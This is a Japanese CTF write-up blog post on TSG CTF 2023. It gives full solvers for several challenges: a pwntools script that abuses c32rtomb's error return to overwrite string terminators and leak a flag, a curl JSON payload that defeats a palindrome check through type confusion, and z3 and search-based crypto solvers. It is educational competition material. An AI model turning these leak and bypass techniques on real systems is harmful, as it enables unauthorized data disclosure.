プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

TSG CTF 2023 write-up

TSG CTF 2023へ、一人チームrotationで参加しました。そのwrite-up記事です。

2024/01/27追記: 公式問題リポジトリが公開されました、多くの問題には公式writeupもあります: tsg-ut/tsgctf2023

コンテスト概要

2023/11/04(土) 16:00 +09:00 - 2023/11/05(日) 16:00 +09:00 の24時間開催でした。他ルールはRULESページから引用します:

RULES
Don’t prevent other teams from having fun.
Don’t share flags or hints, or you’ll be banned.
Don’t attack (e.g. DoS) our infrastructure, or you’ll be banned.
Don’t do automated scanning. It will be considered to be DoS.
The flag format is TSGCTF{blahblah}, unless otherwise specified.
The prize will be paid with PayPal. If it doesn't suit you, we can pay that in BitCoin at an arbitrary exchange rate we determine.
The teams must publish the writeups of the solved problems in CTFTime to get their prizes.
The number of members in a team is unlimited.
People who belong to TSG are not allowed to participate in TSG CTF.

SUPPORT
If you have issue with TSG CTF, please contact us by joining official Discord server, and clicking "Create Ticket" button in the #ask-admin channel.

ABOUT “BEGINNER” CHALLENGES
If you are unfamiliar with CTF, we highly recommend you to first take a look at the challenges with "beginner" tag. They will be released at the same time as the CTF launch.

In TSG CTF, Beginner's tasks are not "beginner-level challenges." We define a beginner's task as a challenge that does not require any experience or knowledge specific to CTF, but can be solved with knowledge that even a beginner has. Please don't be discouraged if you can't solve a "beginner's task". At times it can be hard!

RELEASE SCHEDULE
Disclaimer: This schedule is tentative. We will make the best effort to deliver these challenges as planned. However any changes are expected anytime.
(省略)

TSGCTFの特徴として、「BEGINNER」問題であってもwarmup問題とは限りません。また、日本時間16時(=開始直後)、18時、20時、22時にそれぞれ問題が公開されました。

結果

正の得点を得ている560チーム中、1042ptsで26位でした。warmup/cooldown含めて10問解けました。

順位と得点

チェック印: 解けた問題

環境

主にWindowsのWSL2(Ubuntu 22.04)を使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19045.3636]

c:\>wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-22.04           Running         2
  kali-linux             Stopped         2
  docker-desktop-data    Running         2
  docker-desktop         Stopped         2

c:\>

他ソフト

  • IDA Version 8.3.230608 Windows x64 (64-bit address size) (なお、Free版IDA version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます。version 7頃から引き続き、x64バイナリも同様に逆コンパイルができます。)
  • CFF Explorer VIII @ 2012 Daniel Pistelli.
  • WinDbg Debugger, client version: 1.2308.2002.0, Debugger engine version: 10.0.25921.1001

WSL2(Ubuntu 22.04)

$ cat /proc/version
Linux version 5.15.90.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Fri Jan 27 02:56:13 UTC 2023
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
$ python3 --version
Python 3.10.12
$ python3 -m pip show pip | grep Version
Version: 22.0.2
$ python3 -m pip show pwntools | grep Version
Version: 4.11.0
$ python3 -m pip show z3-solver | grep Version
Version: 4.8.16.0
$ gdb --version
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ cat ~/peda/README | grep -e 'Version: ' -e 'Release: '
Version: 1.0
Release: special public release, Black Hat USA 2012
$ strace --version
strace -- version 5.16
Copyright (c) 1991-2022 The strace developers <https://strace.io>.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Optional features enabled: stack-trace=libunwind stack-demangle m32-mpers mx32-mpers
$ curl --version
curl 7.81.0 (x86_64-pc-linux-gnu) libcurl/7.81.0 OpenSSL/3.0.2 zlib/1.2.11 brotli/1.0.9 zstd/1.4.8 libidn2/2.3.2 libpsl/0.21.0 (+libidn2/2.3.2) libssh/0.9.6/openssl/zlib nghttp2/1.43.0 librtmp/2.3 OpenLDAP/2.5.16
Release-Date: 2022-01-05
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM NTLM_WB PSL SPNEGO SSL TLS-SRP UnixSockets zstd
$

解けた問題

本CTFでは、問題説明文が日本語と英語で提供されました。本ブログでは日本語版の問題文を掲載します。

[Warmup] Sanity Check (529 team solved, 100 points)

TSG CTF のDiscordサーバーにログインして↓の場所に書いてあるフラグを送信してください。
(ここにDiscordチャンネルのスクリーンショット)

CTF開始15分前に、以下の書き込みがありました:

mikit — Today at 3:45 PM
@everyone Welcome to TSG CTF Discord!

This Discord server is not a place to collaborate with other people to solve challenges. Do not put any hint for challenge or solution in any message. Be fair!
Be polite and respect others.
glhf!

Transparent Release Policy

This time we disclosed the release time of each challenges before the contest. It will be important for you to check it out. See here:
https://score.ctf.tsg.ne.jp/rules

Support

If you have issue with TSG CTF, please contact us by clicking "Create Ticket" button in the #⁠ask-admin channel.

Beginner's Tasks

As you can see there are challenges tagged with beginner, which is truly designed for beginners! While they may not be trivial, they require less CTF expertise. Try harder and get the flag!

Sanity Check

Here is your sanity 🙂

TSGCTF{G3n3r@t1v3_@I_4lways_c0mes_up_w1th_b3tt3r_punchl1n3s_th@n_m3!}

フラグを入手できました: TSGCTF{G3n3r@t1v3_@I_4lways_c0mes_up_w1th_b3tt3r_punchl1n3s_th@n_m3!}

本ブログ記事を書くときに、初めてleet内容を読解しました。Generative AI always comes up with better punchlines than meのようです、AIはジョークもお上手なんでしょうか(あまり使ってないので分からない)。

[Pwn, beginner, easy] converter (78 team solved, 112 points)

# -*- speaking: utf-8 -*-

nc 34.146.195.242 40002

初心者向けヒント:

まず、添付ファイルをダウンロードしてソースコードを見てください。
添付ファイル内のflag.txtは偽物です!問題サーバーにあるものとは異なります。
あなたがすべきことは、フラグを推測すること...ではなくフラグをリークさせることです。つまりただクイズに答えるのではなく何か特別なことをしてください。
怪しい関数の仕様を調べてみてください。

配布ファイルとして、問題本体のchallと、元ソースのmain.c等がありました:

$ file *
Makefile:  makefile script, ASCII text
chall:     ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bc06581d875959a12c1a58c826ac31c0e4bf0cbe, for GNU/Linux 3.2.0, not stripped
flag.txt:  ASCII text, with no line terminators
main.c:    C source, Unicode text, UTF-8 text
$

配布ファイルを調べていると、以下の処理に目が止まりました:

(略)
#define MAX_FLAG_CHARS 31

char utf32_hexstr[3][MAX_FLAG_CHARS * 8 + 1];
char utf8_bin[MAX_FLAG_CHARS * 4 + 1];
char flag_buffer[MAX_FLAG_CHARS + 1];
int main() {
    (略)
    char* locale = setlocale(LC_CTYPE, "C.utf8");
    printf("Note: My locale is %s\n", locale);
    (略)
    for (int q = 0; q < 3; q++) {
        char32_t wc = 0;
        mbstate_t ps = {0};
        char* utf8_ptr = utf8_bin;
        for (int i=0; utf32_hexstr[q] != 0; i++) {
            char c = utf32_hexstr[q][i];
            if (i % 8 == 0) wc = 0;

            if (c >= '0' && c <= '9') wc += c - '0';
            else if (c >= 'a' && c <='f') wc += c - 'a' + 10;
            else if (c >= 'A' && c <='F') wc += c - 'A' + 10;
            else break;

            if (i % 8 == 7) {
                utf8_ptr += c32rtomb(utf8_ptr, wc, &ps);
            } else {
                wc *= 16;
            }
        }

        printf("Q%d: ", q+1);
        if (strcmp(utf8_bin, ans_strings[q]) == 0) {
            correct++;
            printf("Correct! ");
        } else {
            printf("Wrong :( ");
        }
        printf("Your input: %s\n", utf8_bin);
    }
    (略)
}

問題文のヒントにある通り、見慣れない関数c32rtombがあります。cppreference.comで調べると、char32_tからcharへ変換する関数とのことです。本問題ではロケールをUTF-8へ設定しているため、UTF-32からUTF-8へ変換する挙動になります。戻り値は「変換に成功した場合は変換結果のバイト数、変換に失敗した場合は-1」とのことです。

challバイナリをIDAで読み込んでグローバル変数のメモリレイアウトを調べました。グローバル変数のメモリレイアウトはmain.cの記述順通りあること、パディングがあることが分かりました:

.bss:0000000000004040                                                      public utf32_hexstr
.bss:0000000000004040                                      ; char utf32_hexstr[3][249]
.bss:0000000000004040 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??     utf32_hexstr    db 300h dup(?)          ; DATA XREF: main+164↑o
.bss:0000000000004040 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??…                                            ; main+1F6↑o
.bss:0000000000004340                                                      public utf8_bin
.bss:0000000000004340                                      ; char utf8_bin[125]
.bss:0000000000004340 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??     utf8_bin        db 80h dup(?)           ; DATA XREF: main+1C3↑o
.bss:0000000000004340 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??…                                            ; main+2D0↑o ...
.bss:00000000000043C0                                                      public flag_buffer
.bss:00000000000043C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??     flag_buffer     db    ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?
.bss:00000000000043C0                                                                              ; DATA XREF: main+52↑o
.bss:00000000000043C0                                                                              ; main+AB↑o
.bss:00000000000043CB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??                     db    ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?
.bss:00000000000043D6 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??                        db    ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?

最初は「1つのUTF-32 code pointを4バイトよりも大きくできれば、utf8_binのNUL終端文字を非NULへ改ざんすればflag_bufferを漏洩できそう」と考えました。しかしhttps://stackoverflow.com/questions/9533258/what-is-the-maximum-number-of-bytes-for-a-utf-8-encoded-characterによると、UTF-8への変換は最大4バイトとのことです

そういうわけで以下の方針を考えました:

  1. 3回分のHEX文字列入力を行った後にHEX文字列のパース処理を行うことと、c32rtomb関数は失敗時に-1が返ることを利用して、3回の入力のうち最初2回の入力処理時にutf32_hexstr[2]のNUL終端文字を改ざんする。
  2. ↑の改ざんにより、3回目の入力処理時で扱わせる文字数を増加させて、utf8_binのNUL終端文字を改ざんする
  3. ↑の改ざんにより、HEX文字列パース処理後のutf8_bin内容表示時にflag_buffer内容も含めされる。

上記の方針で実際に解けましたが、細かいオフセット調整などで山程バグらせました。最終的にgdbでグローバル変数の内容を確認しつつ調整していました。ソルバーです:

#!/usr/bin/env python3
import pwn

BIN_PATH = "./chall"
pwn.context.terminal = ['wt.exe', "--window", "gdb_debug", "wsl"]
pwn.context.binary = BIN_PATH
# pwn.context.log_level = "debug"

def pad_payload(payload):
    if len(payload) > 248: raise Exception(f"{len(payload) = }")
    if len(payload) < 248:
        payload += b"\n"
    return payload

def solve(io):
    invalid_codepoint_hex = b"FFFFFFFF" # c32rtomb関数が-1を返すもの
    long_in_utf8_codepoint_hex = b"0001f680" # ロケットの絵文字、utf-8で4バイト
    digit_0_codepoint_hex = b"00000030" # ord("0")
    digit_for_rocket_hex = "".join(map(lambda b: f"{b:08x}",long_in_utf8_codepoint_hex)).encode()
    print(f"{digit_for_rocket_hex = }")

    io.sendafter(
        b"Q1: What is the code of the rocket emoji in utf32be? (hexstring)>",
        pad_payload((invalid_codepoint_hex * 22) + (digit_for_rocket_hex * 1 + digit_0_codepoint_hex * 1)))

    io.sendafter(
        b"Q2: What is the code of the fox emoji in utf32be? (hexstring)>",
        pad_payload((invalid_codepoint_hex * 13) + (digit_for_rocket_hex * 1 + digit_0_codepoint_hex * 5)))

    io.sendafter(
        b"Q3: Guess the flag in utf32be. (hexstring)>",
        pad_payload(long_in_utf8_codepoint_hex * 31))
    print(io.recvall().decode())


# with pwn.process(BIN_PATH) as io: solve(io)
with pwn.remote("34.146.195.242", 40002) as io: solve(io)
# COMMANDS = """
# b *(main+0x32A)
# continue
# """
# with pwn.gdb.debug(BIN_PATH, COMMANDS) as io: solve(io)

実行しました:

$ ./solve.py
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/TSG_CTF_2023/converter/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 34.146.195.242 on port 40002: Done
digit_for_rocket_hex = b'0000003000000030000000300000003100000066000000360000003800000030'
[+] Receiving all data: Done (290B)
[*] Closed connection to 34.146.195.242 port 40002

Result announcement 🥳🥳
Q1: Wrong :( Your input:
Q2: Wrong :( Your input:
Q3: Wrong :( Your input: 🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀ὨCTF{NoEmojiHereThough:cry:}
Score 0/3. Try harder!

$

フラグの一部まで破壊してしまっていますが、先頭箇所であり固定であるため復元できます。フラグを入手できました: TSGCTF{NoEmojiHereThough:cry:}

[Pwn, beginner, easy] converter2 (26 team solved, 91 points)

Now I'm calling from the Alps.

nc 34.146.195.242 40004

初心者向けヒント:

まず、添付ファイルをダウンロードしてソースコードを見てください。
添付ファイル内のflag.txtは偽物です!問題サーバーにあるものとは異なります。
あなたがすべきことは、フラグを推測すること...ではなくフラグをリークさせることです。つまりただクイズに答えるのではなく何か特別なことをしてください。
怪しい関数の仕様を調べてみてください。

converter問題の続編的扱いであるためか、本問題はconverter問題よりも正解チーム数が少ないにもかかわらず、得点は低く設定されています。

配布ファイルとして、問題本体のchallと、元ソースのsrc.cがありました:

$ file *
Dockerfile: ASCII text
chall:      ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, with debug_info, not stripped
flag.txt:   ASCII text, with no line terminators
main.c:     C source, Unicode text, UTF-8 text
$ pwn checksec chall
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/TSG_CTF_2023/converter2/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ diff main.c ../converter/main.c
$ diff chall ../converter/chall
Binary files chall and ../converter/chall differ
$

diffコマンド結果の通り、main.cconverter問題と全く同じです。一方でバイナリは何か異なるようです。実際、手元環境では実行すらできませんでした:

$ ls -AlF chall
-rwxrwxrwx 1 tan tan 18800 Nov  4 16:00 chall*
$ ./chall
sh: 1: ./chall: not found
$ strace ./chall
execve("./chall", ["./chall"], 0x7fff17c4cbb0 /* 24 vars */) = -1 ENOENT (No such file or directory)
strace: exec: No such file or directory
+++ exited with 1 +++
$ pwn checksec chall
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/TSG_CTF_2023/converter2/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$

とはいえchallバイナリをIDAで開いて確認すると、グローバル変数のレイアウトはconverter問題のものと同一でした。そのためconverter問題のソルバーの接続先だけ変えて実行してみました:

$ ./solve.py
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/TSG_CTF_2023/converter2/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 34.146.195.242 on port 40004: Done
digit_for_rocket_hex = b'0000003000000030000000300000003100000066000000360000003800000030'
[+] Receiving all data: Done (290B)
[*] Closed connection to 34.146.195.242 port 40004

Result announcement 🥳🥳
Q1: Wrong :( Your input:
Q2: Wrong :( Your input:
Q3: Wrong :( Your input: 🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀ὨCTF{IdidntknowUTF8isupto6!}
Score 0/3. Try harder!

$

同様にフラグを入手できました: TSGCTF{IdidntknowUTF8isupto6!}

本CTF終了後のDiscordでの作問者様の書き込みによると、本converter2側はAlpine Linux環境用バイナリであり、またconverter側のglibcではc32rtomb関数が最大で6を返すので別解があったとのことです。glibc側は、UTF-32ではなくUCS-4だった頃の仕様のままなんでしょうか……?

[Web, beginner, easy] Upside-down cake (127 team solved, 100 points)

設定が正しいか、413回チェックしました。

http://34.84.176.251:12349

初心者向けヒント
とりあえず、上のリンクを開いて、適当に操作してみてください。この問題は「非常に長い回文」をサーバーに送ることでフラグが手に入ると主張していますが、話はそんなに単純ではないことがすぐに分かります。
次に、添付したソースコードを読んでください。main.mjs や nginx.conf といったファイルにこのウェブサイトの重要なロジックが記述されています。flag という変数にフラグが保存されているので、この値をリークすることが目的となります。
これらのヒントを元に、「非常に長い回文」をサーバーに送るのではなく、何かしらのバグを突くことによってフラグを手に入れる方法を考えましょう。Web技術、特にJavaScriptについての知識が必要になるかもしれないので、必要に応じてMDNなどのドキュメントを参照してください。
なお、この問題を解くのに大量のアクセスをする必要はありません。ルールに書かれている通り、DoS まがいの大量アクセスはご遠慮ください。

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ file *
compose.yaml:      ASCII text
index.html:        HTML document, ASCII text
main.mjs:          Java source, ASCII text
nginx.conf:        ASCII text
package-lock.json: JSON data
package.json:      JSON data
$

main.mjs側は以下の内容で、入力内容の下限と、回文チェックをしているように見えました:

import {serve} from '@hono/node-server';
import {serveStatic} from '@hono/node-server/serve-static';
import {Hono} from 'hono';

const flag = process.env.FLAG ?? 'DUMMY{DUMMY}';

const validatePalindrome = (string) => {
    if (string.length < 1000) {
        return 'too short';
    }

    for (const i of Array(string.length).keys()) {
        const original = string[i];
        const reverse = string[string.length - i - 1];

        if (original !== reverse || typeof original !== 'string') {
            return 'not palindrome';
        }
    }

    return null;
}

const app = new Hono();

app.get('/', serveStatic({root: '.'}));

app.post('/', async (c) => {
    const {palindrome} = await c.req.json();
    const error = validatePalindrome(palindrome);
    if (error) {
        c.status(400);
        return c.text(error);
    }
    return c.text(`I love you! Flag is ${flag}`);
});

app.port = 12349;

serve(app);

一方でnginx.confは以下の内容で、入力内容を最大100バイトに制限していました:

events {
    worker_connections 1024;
}

http {
    server {
        listen 0.0.0.0:12349;
        client_max_body_size 100;
        location / {
            proxy_pass http://app:12349;
            proxy_read_timeout 5s;
        }
    }
}

nginx側の制約により、1000文字の回文を与えても413 Request Entity Too Largeがnginxから返されてしまいます。色々調べたり試行錯誤した結果、以下の方針が立ちました:

  1. 文字列ではなくオブジェクト型を送信する。これにより、100文字以内の入力で(string.length < 1000)を回避できる。
  2. (original !== reverse || typeof original !== 'string')の回文判定は別途頑張って回避する。

ブラウザ開発者コンソールのREPLで色々試して分かったことです:

  1. "1000" < 1000はfalse
  2. Array("1000").keys()[0]相当
  3. "1000"-0-1999

分かったことを使って、すべての制約を回避するペイロードを送信しました:

$ curl 'http://34.84.176.251:12349/' -H 'Content-Type: application/json' --data-raw '{"palindrome":{"length":"1000","0":"0","999":"0"}}'
I love you! Flag is TSGCTF{pilchards_are_gazing_stars_which_are_very_far_away}
$

フラグを入手できました: TSGCTF{pilchards_are_gazing_stars_which_are_very_far_away}

本ブログ記事を書くときに、初めてpilchardsの意味を調べました。イワシのことらしいです。問題タイトルと合わせて、Stargazy pieのことのようです。

[Crypto, easy] Unique Flag (82 team solved, 109 points)

フラグの内容はユニークにしたほうがいい問題になるって聞きました。

配布ファイルとして、問題本体のencrypt.pyと、その出力のoutput.txtがありました:

$ file *
encrypt.py:     Python script, ASCII text executable
output.txt:     ASCII text, with very long lines (19805)
$

encrypt.pyは以下の内容です:

from Crypto.Util.number import getPrime

p = getPrime(1024)
q = getPrime(1024)
N = p * q
e = 0x10001

with open('flag.txt', 'rb') as f:
    flag = f.read()

assert len(flag) == 33

flag_header = flag[:7] # TSGCTF{
flag_content = flag[7:-1]
flag_footer = flag[-1:] # }

assert len(flag_content) == len({byte for byte in flag_content}) # flag_content is unique

c_list = [pow(byte, e, N) for byte in flag]
clues = [x * y % N for x, y in zip(c_list[:-1], c_list[1:])]
clues.sort()

print(f'N = {N}')
print(f'e = {e}')
print(f'clues = {clues}')

フラグに使用される可能性のある任意の2文字からc_listを再構築して、先頭から再構築すれば解けそうと考えました。しかし実際に試すと、特定の文字から別の文字への遷移パターンがあることが想像以上にありました。制約を足していくのも面倒だったので、assertにある通りフラグは33文字ですから33回遷移できるパターンを探索しようと考えました。書いたソルバーです:

#!/usr/bin/env python3

import ast
import sys

with open("output.txt") as f:
    N = ast.literal_eval(f.readline().split(" = ")[1])
    e = ast.literal_eval(f.readline().split(" = ")[1])
    clues = ast.literal_eval(f.readline().split(" = ")[1])

candidates = range(0x20, 0x7f)
c_list = [(pow(byte, e, N), byte) for byte in candidates]

current = ord("T")
flag_content = []
for (x, v1) in c_list:
    for (y, v2) in c_list:
        if v1 == v2:
            continue
        clue = x * y % N
        if clue in clues:
            print(f"{chr(v1)} -> {chr(v2)}")
            flag_content.append((v1, v2))

def dfs(used, current, depth)->str:
    # print(f"{depth=}, {chr(current) = }")
    if depth == 33 and current == ord("}"):
        return chr(current)
    for (v1, v2) in flag_content:
        if v1 != current: continue
        if v2 in used: continue

        used.add(v2)
        result = dfs(used, v2, depth+1)
        if result is not None:
            return chr(current) + result
        used.remove(v2)
    return None

used = set()
known = "TSGCTF{" # 先頭7文字を固定しないと「TCGSTsI,KO{FMHi5A_un1qUe-flag?XD}」などが出てきてしまいました
for k in known:
    used.add(k)
flag = known[:-1] + dfs(set(), ord(known[-1]), len(known))
print(flag)

実行しました:

$ ./solve.py
! -> d
, -> I
, -> K
, -> ~
- -> e
- -> f
0 -> ~
1 -> n
1 -> q
1 -> x
2 -> B
3 -> Z
5 -> A
5 -> i
6 -> U
6 -> p
7 -> <
7 -> b
8 -> c
8 -> i
8 -> l
< -> 7
< -> b
< -> ~
? -> X
? -> `
? -> g
? -> x
A -> 5
A -> _
B -> 2
B -> T
C -> G
C -> T
D -> X
D -> }
F -> M
F -> T
F -> l
F -> {
G -> C
G -> S
H -> M
H -> T
H -> i
I -> ,
I -> s
K -> ,
K -> O
M -> F
M -> H
O -> K
O -> {
R -> i
S -> G
S -> T
T -> B
T -> C
T -> F
T -> H
T -> S
T -> Z
T -> s
U -> 6
U -> d
U -> e
U -> q
X -> ?
X -> D
Z -> 3
Z -> T
\ -> i
_ -> A
_ -> u
` -> ?
a -> g
a -> l
b -> 7
b -> <
c -> 8
d -> !
d -> U
e -> -
e -> U
f -> -
f -> l
g -> ?
g -> a
i -> 5
i -> 8
i -> H
i -> R
i -> \
l -> 8
l -> F
l -> a
l -> f
n -> 1
n -> u
p -> 6
q -> 1
q -> U
s -> I
s -> T
u -> _
u -> n
x -> 1
x -> ?
{ -> F
{ -> O
} -> D
~ -> ,
~ -> 0
~ -> <
TSGCTF{OK,IsTHi5A_un1qUe-flag?XD}
$

フラグを入手できました: TSGCTF{OK,IsTHi5A_un1qUe-flag?XD}

[Crypto, easy] Streamer (60 team solved, 125 points)

これは私のシンプルなストリーム暗号です。突破できますか?

配布ファイルとして、問題本体のencrypt.pyと、その出力のoutput.txt、加えて内部管理用らしいREADME.mdがありました:

$ file *
encrypt.py:      ASCII text
output.py:       Unicode text, UTF-8 (with BOM) text, with very long lines (1405)
README.md:       Unicode text, UTF-8 text, with no line terminators
$ cat README.md
解答者に配布するソースコードなどのファイルをここに置く
$

encrypt.pyは以下の内容でした:

import secrets
import hashlib
import base64
import re

pattern = re.compile("[a-zA-Z0-9!-/:-?\[-`|~]+")
flag_content = b"@@REDUCTED@@"
assert pattern.fullmatch(flag_content.decode())

flag_hash = hashlib.md5(flag_content).digest()
flag = b"TSGCTF{"+flag_content+b"@"+base64.b64encode(flag_hash)+b"}"

key_stream = list(secrets.token_bytes(16))
encrypted_flags = [flag[i]^key_stream[i%16] for i in range(len(flag))]

print("cipher =",encrypted_flags)
print("flag_length =",len(flag))

ランダムな16バイト列をストリーム暗号に使って、XORする内容です。しかし実際は、フラグの先頭部分や末尾部分、フラグ内容とMD5を区切る@など、値が確定する要素も多くあります。そのためz3-solverで探索できるのでは考えて、ソルバーを書きました:

#!/usr/bin/env python3

import z3
import ast
import string
import re
import hashlib
import base64

with open("output.py") as f:
    cipher = ast.literal_eval(f.readline().split(" = ")[1])
    flag_length = ast.literal_eval(f.readline().split(" = ")[1])
    assert flag_length == 304

flag_prefix = "TSGCTF{"
# size_md5_digest = 16
size_md5_digest_base64 = 24 # b'CY9rzUYh03PK3k6DJie09g=='等、後ろ2文字は=になるはず
size_flag_content = flag_length - (len(flag_prefix) + len("@") + size_md5_digest_base64 + len("}"))
solver = z3.Solver()
keys = [z3.BitVec(f"key_stream_{i:02d}", 8) for i in range(16)]

def add_key_range(c, candidates:str):
    solver.add(0x21 <= c)
    solver.add(c <= 0x7e)
    for i in range(0x20, 0x7f):
        if chr(i) not in candidates:
            solver.add(c != i)
pattern = re.compile("[a-zA-Z0-9!-/:-?\[-`|~]+")
pattern_candidates = ""
for i in range(0x20, 0x7f):
    if pattern.fullmatch(chr(i)):
        pattern_candidates += chr(i)
print(f"{pattern_candidates = }")

# フラグ先頭箇所
for (i, v) in enumerate(flag_prefix):
    solver.add(keys[i % len(keys)] ^ ord(flag_prefix[i]) == cipher[i])

# flag_content箇所
for i in range(size_flag_content):
    offset_cipher = len(flag_prefix) + i
    offset_key = offset_cipher % len(keys)
    c = keys[offset_key] ^ cipher[offset_cipher]
    add_key_range(c, pattern_candidates)

# @箇所
offset_atmark = len(flag_prefix) + size_flag_content
solver.add(keys[offset_atmark % len(keys)] ^ ord("@") == cipher[offset_atmark])

# base64箇所
for i in range(size_md5_digest_base64):
    offset_cipher = len(flag_prefix) + size_flag_content + len("@") + i
    offset_key = offset_cipher % len(keys)
    c = keys[offset_key] ^ cipher[offset_cipher]
    if i + 2 < size_md5_digest_base64:
        add_key_range(c, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
    else:
        add_key_range(c, "=")

# 最後
offset_closing = flag_length - 1
solver.add(keys[offset_closing % len(keys)] ^ ord("}") == cipher[offset_closing])

try_count = 0
while True:
    try_count += 1
    if try_count % 100 == 0:
        print(try_count)
    if solver.check() != z3.sat:
        raise Exception("Can not solve...")

    model = solver.model()
    secret = []
    for key in keys:
        secret.append(model[key].as_long())
    # print(f"{secret = }")
    flag = ""
    for (i, v) in enumerate(cipher):
        flag += chr(v ^ secret[i % len(secret)])

    # ↓break条件検証用
    # flag = "TSGCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@imCnzn5osIF808i4bROFMg==}"
    flag_content = flag[len(flag_prefix) : len(flag_prefix)+size_flag_content]
    flag_md5_base64 = flag[-(size_md5_digest_base64+1) : -1]
    # print(flag_content)
    # print(flag_md5_base64)
    if base64.b64encode(hashlib.md5(flag_content.encode()).digest()) == flag_md5_base64.encode():
        print(flag)
        print("Solved!")
        break
    # 同じ解を出さないための制約を追加 https://stackoverflow.com/questions/11867611/z3py-checking-all-solutions-for-equation/70656700#70656700
    block = []
    for i in range(len(keys)):
        block.append(keys[i] != secret[i])
    solver.add(z3.Or(block))

書き上げた後に試しに実行すると、最初のうちこそは1秒間に800回ほど施行できていましたが、試行回数が20000回目になる頃には1秒間に100回ほどの思考まで遅くなっていました。同じ解を出さないためのOR条件の追加が相当響いているようでした。ちなみにこのソルバーでも2時間動かし続ければフラグは出ました:

$ time ./solve.py
(略)
143600
143700
TSGCTF{The_l0n63|2_+|-|3_fla6_the_saf3|2_i+_m4`/_8e_as_lo|\|g_4$_you_use_a|\|_a|*pr0|*ria+3_3|\|cry|*+i0n._Thi$_ci|*|-|3r_i$_4_0ne_+i|\/|e_|*a|)_ra+h3|2_t|-|4|\|_a_s+re4m_(iph3r,_but_it_i$_ins3(u|2e_be(ause_it_us3s_the_$4|\/|e_r4ndom_num83r$_re|*34+3|)ly._enjoy_hahaha_:-)-:)-:)@TWp6sQXidRLICfdhOMY+IA==}
Solved!
./solve.py  7308.84s user 1.57s system 99% cpu 2:01:50.50 total
$

ただ本問題に取り組み始めたのが終了1時間前だったので、何とかしてより早く探索する必要がありました。探索中のフラグ内容を16バイトずつ区切ってみると、内容は文章になっているようでした:

// 左6列が探索対象、右10列は完全固定
VmoFl+ n63|2_+|-|
1Zlua- _the_saf3|
0Zc2_v 4`/_8e_as_
